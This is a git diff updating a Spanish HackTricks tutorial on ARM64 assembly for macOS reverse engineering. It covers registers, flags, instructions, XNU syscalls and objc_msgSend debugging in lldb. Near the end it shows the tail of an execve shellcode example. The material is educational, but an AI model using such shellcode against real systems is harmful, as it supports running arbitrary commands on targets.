Los registros especiales **`TPIDR_EL0`** y **`TPIDDR_EL0`** se encuentran comúnmente al realizar ingeniería inversa. El sufijo `EL0` indica la **excepción mínima** desde la cual se puede acceder al registro (en este caso, EL0 es el nivel de excepción (privilegio) regular con el que se ejecutan los programas regulares).\
|
||||
A menudo se utilizan para almacenar la **dirección base de la región de almacenamiento local de hilos** en la memoria. Por lo general, el primero es legible y escribible para programas que se ejecutan en EL0, pero el segundo se puede leer desde EL0 y escribir desde EL1 (como el kernel).
|
||||
|
@ -86,19 +87,19 @@ Estos son los campos accesibles:
|
|||
* La suma de dos números positivos produce un resultado negativo.
|
||||
* La suma de dos números negativos produce un resultado positivo.
|
||||
* En la resta, cuando se resta un número negativo grande de un número positivo más pequeño (o viceversa), y el resultado no se puede representar dentro del rango del tamaño de bits dado.
|
||||
* Obviamente, el procesador no sabe si la operación es con signo o no, por lo que verificará C y V en las operaciones e indicará si ocurrió un acarreo en caso de que fuera con signo o sin signo.
|
||||
* Obviamente, el procesador no sabe si la operación es con signo o no, por lo que verificará C y V en las operaciones e indicará si se produjo un acarreo en caso de que fuera con signo o sin signo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
No todas las instrucciones actualizan estas banderas. Algunas como **`CMP`** o **`TST`** lo hacen, y otras que tienen un sufijo s como **`ADDS`** también lo hacen.
|
||||
{% endhint %}
|
||||
|
||||
* La bandera actual de **ancho de registro (`nRW`)**: Si la bandera tiene el valor 0, el programa se ejecutará en el estado de ejecución AArch64 una vez que se reanude.
|
||||
* La bandera de **ancho de registro actual (`nRW`)**: Si la bandera tiene el valor 0, el programa se ejecutará en el estado de ejecución AArch64 una vez que se reanude.
|
||||
* El **Nivel de Excepción** actual (**`EL`**): Un programa regular que se ejecuta en EL0 tendrá el valor 0
|
||||
* La bandera de **paso único** (**`SS`**): Utilizada por los depuradores para dar un paso único configurando la bandera SS en 1 dentro de **`SPSR_ELx`** a través de una excepción. El programa ejecutará un paso y emitirá una excepción de paso único.
|
||||
* La bandera de estado de excepción **ilegal** (**`IL`**): Se utiliza para marcar cuando un software privilegiado realiza una transferencia de nivel de excepción inválida, esta bandera se establece en 1 y el procesador desencadena una excepción de estado ilegal.
|
||||
* La bandera de estado de excepción ilegal (**`IL`**): Se utiliza para marcar cuando un software privilegiado realiza una transferencia de nivel de excepción inválida, esta bandera se establece en 1 y el procesador desencadena una excepción de estado ilegal.
|
||||
* Las banderas **`DAIF`**: Estas banderas permiten a un programa privilegiado enmascarar selectivamente ciertas excepciones externas.
|
||||
* Si **`A`** es 1 significa que se desencadenarán **abortos asíncronos**. El **`I`** se configura para responder a las **Solicitudes de Interrupciones** de hardware externas (IRQs). y la F está relacionada con las **Solicitudes de Interrupciones Rápidas** (FIRs).
|
||||
* Las banderas de selección de **puntero de pila (`SPS`)**: Los programas privilegiados que se ejecutan en EL1 y superior pueden alternar entre el uso de su propio registro de puntero de pila y el del modelo de usuario (por ejemplo, entre `SP_EL1` y `EL0`). Este cambio se realiza escribiendo en el registro especial **`SPSel`**. Esto no se puede hacer desde EL0.
|
||||
* Si **`A`** es 1 significa que se activarán **abortos asíncronos**. El **`I`** se configura para responder a las **Solicitudes de Interrupciones** de hardware externo (IRQs). y la F está relacionada con las **Solicitudes de Interrupciones Rápidas** (FIRs).
|
||||
* Las banderas de selección de puntero de pila (**`SPS`**): Los programas privilegiados que se ejecutan en EL1 y superior pueden alternar entre el uso de su propio registro de puntero de pila y el del modelo de usuario (por ejemplo, entre `SP_EL1` y `EL0`). Este cambio se realiza escribiendo en el registro especial **`SPSel`**. Esto no se puede hacer desde EL0.
|
||||
|
||||
## **Convención de Llamada (ARM64v8)**
|
||||
|
||||
|
@ -112,13 +113,13 @@ Swift tiene su propia **convención de llamada** que se puede encontrar en [**ht
|
|||
|
||||
## **Instrucciones Comunes (ARM64v8)**
|
||||
|
||||
Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2`**, donde **`opcode`** es la **operación** que se realizará (como `add`, `sub`, `mov`, etc.), **`dst`** es el **registro de destino** donde se almacenará el resultado, y **`src1`** y **`src2`** son los **registros fuente**. También se pueden usar valores inmediatos en lugar de registros fuente.
|
||||
Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2`**, donde **`opcode`** es la **operación** que se va a realizar (como `add`, `sub`, `mov`, etc.), **`dst`** es el **registro de destino** donde se almacenará el resultado, y **`src1`** y **`src2`** son los **registros de origen**. También se pueden usar valores inmediatos en lugar de registros de origen.
|
||||
|
||||
* **`mov`**: **Mover** un valor de un **registro** a otro.
|
||||
* Ejemplo: `mov x0, x1` — Esto mueve el valor de `x1` a `x0`.
|
||||
* **`ldr`**: **Cargar** un valor de **memoria** en un **registro**.
|
||||
* Ejemplo: `ldr x0, [x1]` — Esto carga un valor desde la ubicación de memoria apuntada por `x1` en `x0`.
|
||||
* **Modo de desplazamiento**: Se indica un desplazamiento que afecta al puntero de origen, por ejemplo:
|
||||
* **Modo de desplazamiento**: Se indica un desplazamiento que afecta al puntero original, por ejemplo:
|
||||
* `ldr x2, [x1, #8]`, esto cargará en x2 el valor de x1 + 8
|
||||
* `ldr x2, [x0, x1, lsl #2]`, esto cargará en x2 un objeto del array x0, desde la posición x1 (índice) \* 4
|
||||
* **Modo pre-indexado**: Esto aplicará cálculos al origen, obtendrá el resultado y también almacenará el nuevo origen en el origen.
|
||||
|
@ -145,7 +146,7 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2
|
|||
* `add x5, x5, #1, lsl #12` — Esto es igual a 4096 (un 1 desplazado 12 veces) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** Esto realiza una `add` y actualiza las banderas
|
||||
* **`sub`**: **Resta** los valores de dos registros y almacena el resultado en un registro.
|
||||
* Verificar la **sintaxis de `add`**.
|
||||
* Verificar la **sintaxis** de **`add`**.
|
||||
* Ejemplo: `sub x0, x1, x2` — Esto resta el valor en `x2` de `x1` y almacena el resultado en `x0`.
|
||||
* **`subs`** Esto es como sub pero actualizando la bandera
|
||||
* **`mul`**: **Multiplica** los valores de **dos registros** y almacena el resultado en un registro.
|
||||
|
@ -153,55 +154,55 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2
|
|||
* **`div`**: **Divide** el valor de un registro por otro y almacena el resultado en un registro.
|
||||
* Ejemplo: `div x0, x1, x2` — Esto divide el valor en `x1` por `x2` y almacena el resultado en `x0`.
|
||||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
* **Desplazamiento lógico a la izquierda**: Agrega 0s desde el final moviendo los otros bits hacia adelante (multiplica n veces por 2)
|
||||
* **Desplazamiento lógico a la derecha**: Agrega 1s al principio moviendo los otros bits hacia atrás (divide n veces por 2 en no signado)
|
||||
* **Desplazamiento aritmético a la derecha**: Como **`lsr`**, pero en lugar de agregar 0s si el bit más significativo es 1, se agregan 1s (divide n veces por 2 en signado)
|
||||
* **Desplazamiento lógico a la izquierda**: Agrega 0 desde el final moviendo los otros bits hacia adelante (multiplica n veces por 2)
|
||||
* **Desplazamiento lógico a la derecha**: Agrega 1 al principio moviendo los otros bits hacia atrás (divide n veces por 2 en no firmado)
|
||||
* **Desplazamiento aritmético a la derecha**: Como **`lsr`**, pero en lugar de agregar 0 si el bit más significativo es 1, se agregan 1s (divide n veces por 2 en firmado)
|
||||
* **Rotación a la derecha**: Como **`lsr`** pero lo que se elimina de la derecha se agrega a la izquierda
|
||||
* **Rotación a la derecha con extensión**: Como **`ror`**, pero con la bandera de acarreo como el "bit más significativo". Entonces la bandera de acarreo se mueve al bit 31 y el bit eliminado a la bandera de acarreo.
|
||||
* **`bfm`**: **Movimiento de campo de bits**, estas operaciones **copian bits `0...n`** de un valor y los colocan en las posiciones **`m..m+n`**. El **`#s`** especifica la posición del **bit más a la izquierda** y **`#r`** la **cantidad de rotación a la derecha**.
|
||||
* Movimiento de campo de bits: `BFM Xd, Xn, #r`
|
||||
* Movimiento de campo de bits con signo: `SBFM Xd, Xn, #r, #s`
|
||||
* Movimiento de campo de bits sin signo: `UBFM Xd, Xn, #r, #s`
|
||||
* Movimiento de campo de bits firmado: `SBFM Xd, Xn, #r, #s`
|
||||
* Movimiento de campo de bits no firmado: `UBFM Xd, Xn, #r, #s`
|
||||
* **Extracción e inserción de campo de bits:** Copia un campo de bits de un registro y lo copia en otro registro.
|
||||
* **`BFI X1, X2, #3, #4`** Inserta 4 bits de X2 desde el 3er bit de X1
|
||||
* **`BFXIL X1, X2, #3, #4`** Extrae de X2 cuatro bits desde el 3er bit y los copia en X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Extiende con signo 4 bits de X2 e inserta en X1 comenzando en la posición del bit 3, poniendo a cero los bits a la derecha
|
||||
* **`SBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2, los extiende con signo y coloca el resultado en X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Extiende con ceros 4 bits de X2 e inserta en X1 comenzando en la posición del bit 3, poniendo a cero los bits a la derecha
|
||||
* **`BFXIL X1, X2, #3, #4`** Extrae desde el 3er bit de X2 cuatro bits y los copia en X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Extiende con signo 4 bits de X2 e inserta en X1 comenzando en la posición del bit 3 anulando los bits a la derecha
|
||||
* **`SBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2, extiende con signo y coloca el resultado en X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Extiende con ceros 4 bits de X2 e inserta en X1 comenzando en la posición del bit 3 anulando los bits a la derecha
|
||||
* **`UBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2 y coloca el resultado extendido con ceros en X1.
|
||||
* **Extensión de signo a X:** Extiende el signo (o agrega solo 0s en la versión no signada) de un valor para poder realizar operaciones con él:
|
||||
* **Extensión de signo a X:** Extiende el signo (o agrega solo 0s en la versión no firmada) de un valor para poder realizar operaciones con él:
|
||||
* **`SXTB X1, W2`** Extiende el signo de un byte **de W2 a X1** (`W2` es la mitad de `X2`) para llenar los 64 bits
|
||||
* **`SXTH X1, W2`** Extiende el signo de un número de 16 bits **de W2 a X1** para llenar los 64 bits
|
||||
* **`SXTW X1, W2`** Extiende el signo de un byte **de W2 a X1** para llenar los 64 bits
|
||||
* **`UXTB X1, W2`** Agrega 0s (no signado) a un byte **de W2 a X1** para llenar los 64 bits
|
||||
* **`UXTB X1, W2`** Agrega 0s (no firmado) a un byte **de W2 a X1** para llenar los 64 bits
|
||||
* **`extr`:** Extrae bits de un **par de registros concatenados** especificados.
|
||||
* Ejemplo: `EXTR W3, W2, W1, #3` Esto **concatenará W1+W2** y obtendrá **desde el bit 3 de W2 hasta el bit 3 de W1** y lo almacenará en W3.
|
||||
* **`cmp`**: **Compara** dos registros y establece las banderas de condición. Es un **alias de `subs`** estableciendo el registro de destino en el registro cero. Útil para saber si `m == n`.
|
||||
* Admite la **misma sintaxis que `subs`**
|
||||
* Ejemplo: `cmp x0, x1` — Esto compara los valores en `x0` y `x1` y establece las banderas de condición en consecuencia.
|
||||
* **`cmn`**: **Compara negativo** el operando. En este caso es un **alias de `adds`** y admite la misma sintaxis. Útil para saber si `m == -n`.
|
||||
* **`ccmp`**: Comparación condicional, es una comparación que se realizará solo si una comparación previa fue verdadera y establecerá específicamente los bits nzcv.
|
||||
* **`ccmp`**: Comparación condicional, es una comparación que se realizará solo si una comparación anterior fue verdadera y establecerá específicamente los bits nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 y x3 < x4, saltar a func
|
||||
* Esto se debe a que **`ccmp`** solo se ejecutará si el **anterior `cmp` fue un `NE`**, si no, los bits `nzcv` se establecerán en 0 (lo que no satisfará la comparación `blt`).
|
||||
* Esto se debe a que **`ccmp`** solo se ejecutará si el **anterior `cmp` fue un `NE`**, si no lo fue, los bits `nzcv` se establecerán en 0 (lo que no satisfará la comparación `blt`).
|
||||
* Esto también se puede usar como `ccmn` (igual pero negativo, como `cmp` vs `cmn`).
|
||||
* **`tst`**: Comprueba si alguno de los valores de la comparación son ambos 1 (funciona como un ANDS sin almacenar el resultado en ningún lugar). Es útil para verificar un registro con un valor y verificar si alguno de los bits del registro indicado en el valor es 1.
|
||||
* Ejemplo: `tst X1, #7` Verifica si alguno de los últimos 3 bits de X1 es 1
|
||||
* **`teq`**: Operación XOR descartando el resultado
|
||||
* **`b`**: Salto incondicional
|
||||
* Ejemplo: `b myFunction`
|
||||
* Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan regresar)
|
||||
* Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas de subrutina que necesitan regresar)
|
||||
* **`bl`**: **Salto** con enlace, utilizado para **llamar** a una **subrutina**. Almacena la **dirección de retorno en `x30`**.
|
||||
* Ejemplo: `bl myFunction` — Esto llama a la función `myFunction` y almacena la dirección de retorno en `x30`.
|
||||
* Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan regresar)
|
||||
* Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas de subrutina que necesitan regresar)
|
||||
* **`blr`**: **Salto** con enlace a registro, utilizado para **llamar** a una **subrutina** donde el destino está **especificado** en un **registro**. Almacena la dirección de retorno en `x30`. (Esto es
|
||||
* Ejemplo: `blr x1` — Esto llama a la función cuya dirección está contenida en `x1` y almacena la dirección de retorno en `x30`.
|
||||
* **`ret`**: **Retorno** de **subrutina**, típicamente utilizando la dirección en **`x30`**.
|
||||
* Ejemplo: `ret` — Esto retorna de la subrutina actual utilizando la dirección de retorno en `x30`.
|
||||
* **`b.<cond>`**: Saltos condicionales
|
||||
* **`b.eq`**: **Salto si igual**, basado en la instrucción `cmp` anterior.
|
||||
* Ejemplo: `b.eq etiqueta` — Si la instrucción `cmp` anterior encontró dos valores iguales, esto salta a `etiqueta`.
|
||||
* **`b.eq`**: **Salto si es igual**, basado en la instrucción `cmp` anterior.
|
||||
* Ejemplo: `b.eq label` — Si la instrucción `cmp` anterior encontró dos valores iguales, esto salta a `label`.
|
||||
* **`b.ne`**: **Branch if Not Equal**. Esta instrucción verifica las banderas de condición (que fueron establecidas por una instrucción de comparación previa), y si los valores comparados no son iguales, se desplaza a una etiqueta o dirección.
|
||||
* Ejemplo: Después de una instrucción `cmp x0, x1`, `b.ne label` — Si los valores en `x0` y `x1` no son iguales, esto salta a `label`.
|
||||
* Ejemplo: Después de una instrucción `cmp x0, x1`, `b.ne label` — Si los valores en `x0` y `x1` no eran iguales, esto salta a `label`.
|
||||
* **`cbz`**: **Comparar y Desplazarse en Caso de Cero**. Esta instrucción compara un registro con cero, y si son iguales, se desplaza a una etiqueta o dirección.
|
||||
* Ejemplo: `cbz x0, label` — Si el valor en `x0` es cero, esto salta a `label`.
|
||||
* **`cbnz`**: **Comparar y Desplazarse en Caso de No Cero**. Esta instrucción compara un registro con cero, y si no son iguales, se desplaza a una etiqueta o dirección.
|
||||
|
@ -225,7 +226,7 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2
|
|||
* **`ldrsw`**: **Cargar** un valor firmado de **32 bits** desde la memoria y **extenderlo a 64** bits.
|
||||
* Ejemplo: `ldrsw x0, [x1]` — Esto carga un valor firmado de 32 bits desde la ubicación de memoria apuntada por `x1`, lo extiende a 64 bits, y lo almacena en `x0`.
|
||||
* **`stur`**: **Almacenar un valor de registro en una ubicación de memoria**, usando un desplazamiento desde otro registro.
|
||||
* Ejemplo: `stur x0, [x1, #4]` — Esto almacena el valor en `x0` en la dirección de memoria que es 4 bytes mayor que la dirección actual en `x1`.
|
||||
* Ejemplo: `stur x0, [x1, #4]` — Esto almacena el valor en `x0` en la dirección de memoria que está 4 bytes mayor que la dirección actual en `x1`.
|
||||
* **`svc`** : Realizar una **llamada al sistema**. Significa "Supervisor Call". Cuando el procesador ejecuta esta instrucción, **cambia de modo de usuario a modo kernel** y salta a una ubicación específica en memoria donde se encuentra el código de manejo de **llamadas al sistema del kernel**.
|
||||
* Ejemplo:
|
||||
|
||||
|
@ -264,11 +265,11 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
## Estado de Ejecución AARCH32
|
||||
|
||||
Armv8-A soporta la ejecución de programas de 32 bits. **AArch32** puede ejecutarse en uno de **dos conjuntos de instrucciones**: **`A32`** y **`T32`** y puede alternar entre ellos a través de **`interworking`**.\
|
||||
Los programas **privilegiados** de 64 bits pueden programar la **ejecución de programas de 32 bits** ejecutando una transferencia de nivel de excepción al nivel de excepción inferior de 32 bits.\
|
||||
Es importante tener en cuenta que la transición de 64 bits a 32 bits ocurre con una disminución del nivel de excepción (por ejemplo, un programa de 64 bits en EL1 desencadenando un programa en EL0). Esto se hace configurando el **bit 4 de** **`SPSR_ELx`** registro especial **en 1** cuando el hilo de proceso `AArch32` está listo para ser ejecutado y el resto de `SPSR_ELx` almacena los programas de **`AArch32`** CPSR. Luego, el proceso privilegiado llama a la instrucción **`ERET`** para que el procesador haga la transición a **`AArch32`** entrando en A32 o T32 dependiendo de CPSR\*\*.\*\*
|
||||
Los programas **privilegiados** de 64 bits pueden programar la **ejecución de programas de 32 bits** ejecutando una transferencia de nivel de excepción al nivel de excepción de menor privilegio de 32 bits.\
|
||||
Es importante tener en cuenta que la transición de 64 bits a 32 bits ocurre con una disminución del nivel de excepción (por ejemplo, un programa de 64 bits en EL1 desencadenando un programa en EL0). Esto se hace configurando el **bit 4 de** **`SPSR_ELx`** registro especial en **1** cuando el hilo de proceso `AArch32` está listo para ser ejecutado y el resto de `SPSR_ELx` almacena los programas de **`AArch32`** CPSR. Luego, el proceso privilegiado llama a la instrucción **`ERET`** para que el procesador haga la transición a **`AArch32`** entrando en A32 o T32 dependiendo de CPSR\*\*.\*\*
|
||||
|
||||
El **`interworking`** ocurre utilizando los bits J y T de CPSR. `J=0` y `T=0` significa **`A32`** y `J=0` y `T=1` significa **T32**. Básicamente, esto se traduce en establecer el **bit más bajo en 1** para indicar que el conjunto de instrucciones es T32.\
|
||||
Esto se establece durante las **instrucciones de rama de interworking**, pero también se puede establecer directamente con otras instrucciones cuando el PC se establece como el registro de destino. Ejemplo:
|
||||
Esto se establece durante las **instrucciones de rama de interworking,** pero también se puede establecer directamente con otras instrucciones cuando el PC se establece como el registro de destino. Ejemplo:
|
||||
|
||||
Otro ejemplo:
|
||||
```armasm
|
||||
|
@ -309,22 +310,22 @@ Los campos se dividen en algunos grupos:
|
|||
|
||||
- Las banderas **`N`**, **`Z`**, **`C`**, **`V`** (como en AArch64)
|
||||
- La bandera **`Q`**: Se establece en 1 cuando ocurre **saturación entera** durante la ejecución de una instrucción aritmética de saturación especializada. Una vez que se establece en **`1`**, mantendrá el valor hasta que se establezca manualmente en 0. Además, no hay ninguna instrucción que verifique su valor implícitamente, debe hacerse leyéndolo manualmente.
|
||||
- Banderas **`GE`** (Mayor o igual): Se utiliza en operaciones SIMD (Instrucción Única, Múltiples Datos), como "suma paralela" y "resta paralela". Estas operaciones permiten procesar varios puntos de datos en una sola instrucción.
|
||||
- Banderas **`GE`** (Mayor o igual): Se utiliza en operaciones SIMD (Instrucción Única, Múltiples Datos), como "suma paralela" y "resta paralela". Estas operaciones permiten procesar múltiples puntos de datos en una sola instrucción.
|
||||
|
||||
Por ejemplo, la instrucción **`UADD8`** **suma cuatro pares de bytes** (de dos operandos de 32 bits) en paralelo y almacena los resultados en un registro de 32 bits. Luego **establece las banderas `GE` en el `APSR`** basándose en estos resultados. Cada bandera GE corresponde a una de las sumas de bytes, indicando si la suma para ese par de bytes **se desbordó**.
|
||||
Por ejemplo, la instrucción **`UADD8`** **suma cuatro pares de bytes** (de dos operandos de 32 bits) en paralelo y almacena los resultados en un registro de 32 bits. Luego **establece las banderas `GE` en el `APSR`** basándose en estos resultados. Cada bandera GE corresponde a una de las adiciones de bytes, indicando si la adición para ese par de bytes **se desbordó**.
|
||||
|
||||
La instrucción **`SEL`** utiliza estas banderas GE para realizar acciones condicionales.
|
||||
|
||||
#### Registros de Estado de Ejecución
|
||||
|
||||
- Los bits **`J`** y **`T`**: **`J`** debe ser 0 y si **`T`** es 0 se utiliza el conjunto de instrucciones A32, y si es 1, se utiliza T32.
|
||||
- Los bits **`J`** y **`T`**: **`J`** debe ser 0 y si **`T`** es 0 se utiliza el conjunto de instrucciones A32, y si es 1, se utiliza el T32.
|
||||
- Registro de Estado de Bloque IT (`ITSTATE`): Estos son los bits del 10 al 15 y del 25 al 26. Almacenan condiciones para instrucciones dentro de un grupo con prefijo **`IT`**.
|
||||
- Bit **`E`**: Indica la **extremidad**.
|
||||
- Bits de Máscara de Modo y Excepción (0-4): Determinan el estado de ejecución actual. El quinto indica si el programa se ejecuta como 32 bits (un 1) o 64 bits (un 0). Los otros 4 representan el **modo de excepción actualmente en uso** (cuando ocurre una excepción y se está manejando). El número establecido **indica la prioridad actual** en caso de que se desencadene otra excepción mientras se está manejando esta.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: Ciertas excepciones pueden deshabilitarse utilizando los bits **`A`**, `I`, `F`. Si **`A`** es 1 significa que se desencadenarán **abortos asíncronos**. El **`I`** se configura para responder a las **Solicitudes de Interrupciones de Hardware** externas (IRQs). y la F está relacionada con las **Solicitudes de Interrupciones Rápidas** (FIRs).
|
||||
- **`AIF`**: Ciertas excepciones pueden deshabilitarse utilizando los bits **`A`**, `I`, `F`. Si **`A`** es 1 significa que se desencadenarán **abortos asíncronos**. El **`I`** se configura para responder a las **Solicitudes de Interrupciones de Hardware** externas (IRQs). y la F está relacionada con las **Solicitudes de Interrupción Rápida** (FIRs).
|
||||
|
||||
## macOS
|
||||
|
||||
|
@ -337,8 +338,6 @@ Consulta [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.
|
|||
Consulta en [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) la `mach_trap_table` y en [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) los prototipos. El número máximo de trampas de Mach es `MACH_TRAP_TABLE_COUNT` = 128. Las trampas de Mach tendrán **x16 < 0**, por lo que debes llamar a los números de la lista anterior con un **menos**: **`_kernelrpc_mach_vm_allocate_trap`** es **`-10`**.
|
||||
|
||||
También puedes consultar **`libsystem_kernel.dylib`** en un desensamblador para saber cómo llamar a estas llamadas al sistema (y BSD):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
|
@ -352,15 +351,15 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
|||
A veces es más fácil revisar el código **descompilado** de **`libsystem_kernel.dylib`** que revisar el **código fuente** porque el código de varias llamadas al sistema (BSD y Mach) se genera mediante scripts (ver comentarios en el código fuente) mientras que en el dylib puedes encontrar qué se está llamando.
|
||||
{% endhint %}
|
||||
|
||||
### Llamadas machdep
|
||||
### llamadas machdep
|
||||
|
||||
XNU admite otro tipo de llamadas llamadas dependientes de la máquina. El número de estas llamadas depende de la arquitectura y ni las llamadas ni los números están garantizados a permanecer constantes.
|
||||
|
||||
### Página de comunicación
|
||||
### página comm
|
||||
|
||||
Esta es una página de memoria del propietario del kernel que se asigna en el espacio de direcciones de cada proceso de usuario. Está destinada a hacer que la transición de modo usuario a espacio de kernel sea más rápida que usar llamadas al sistema para servicios del kernel que se utilizan tanto que esta transición sería muy ineficiente.
|
||||
Esta es una página de memoria del propietario del kernel que se mapea en el espacio de direcciones de cada proceso de usuario. Está destinada a hacer que la transición del modo usuario al espacio del kernel sea más rápida que usar llamadas al sistema para servicios del kernel que se utilizan tanto que esta transición sería muy ineficiente.
|
||||
|
||||
Por ejemplo, la llamada `gettimeofdate` lee el valor de `timeval` directamente desde la página de comunicación.
|
||||
Por ejemplo, la llamada `gettimeofdate` lee el valor de `timeval` directamente desde la página comm.
|
||||
|
||||
### objc\_msgSend
|
||||
|
||||
|
@ -372,8 +371,9 @@ Parámetros ([más información en la documentación](https://developer.apple.co
|
|||
* x1: op -> Selector del método
|
||||
* x2... -> Resto de los argumentos del método invocado
|
||||
|
||||
Por lo tanto, si colocas un punto de interrupción antes de la rama a esta función, puedes encontrar fácilmente qué se invoca en lldb con (en este ejemplo, el objeto llama a un objeto de `NSConcreteTask` que ejecutará un comando):
|
||||
```
|
||||
Por lo tanto, si colocas un punto de interrupción antes del salto a esta función, puedes encontrar fácilmente qué se invoca en lldb con (en este ejemplo, el objeto llama a un objeto de `NSConcreteTask` que ejecutará un comando):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
<NSConcreteTask: 0x1052308e0>
|
||||
|
||||
|
@ -390,10 +390,30 @@ whoami
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Al configurar la variable de entorno `NSObjCMessageLoggingEnabled=1`, es posible registrar cuándo se llama a esta función en un archivo como `/tmp/msgSends-pid`.
|
||||
Estableciendo la variable de entorno **`NSObjCMessageLoggingEnabled=1`** es posible registrar cuándo se llama a esta función en un archivo como `/tmp/msgSends-pid`.
|
||||
|
||||
Además, configurando **`OBJC_HELP=1`** y llamando a cualquier binario, puedes ver otras variables de entorno que podrías usar para **registrar** cuándo ocurren ciertas acciones de Objc-C.
|
||||
{% endhint %}
|
||||
|
||||
### Shellcodes
|
||||
Cuando se llama a esta función, es necesario encontrar el método llamado de la instancia indicada, para esto se realizan diferentes búsquedas:
|
||||
|
||||
* Realizar búsqueda de caché optimista:
|
||||
* Si tiene éxito, terminado
|
||||
* Adquirir runtimeLock (lectura)
|
||||
* Si (realize && !cls->realized) realizar clase
|
||||
* Si (initialize && !cls->initialized) inicializar clase
|
||||
* Intentar caché propia de la clase:
|
||||
* Si tiene éxito, terminado
|
||||
* Intentar lista de métodos de la clase:
|
||||
* Si se encuentra, llenar caché y terminado
|
||||
* Intentar caché de la superclase:
|
||||
* Si tiene éxito, terminado
|
||||
* Intentar lista de métodos de la superclase:
|
||||
* Si se encuentra, llenar caché y terminado
|
||||
* Si (resolver) intentar resolutor de métodos y repetir desde la búsqueda de clase
|
||||
* Si todavía está aquí (= todo lo demás ha fallado) intentar reenviador
|
||||
|
||||
### Códigos Shell
|
||||
|
||||
Para compilar:
|
||||
```bash
|
||||
|
@ -764,16 +784,17 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -0,0 +1,160 @@
|
|||
# Objetos en memoria
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
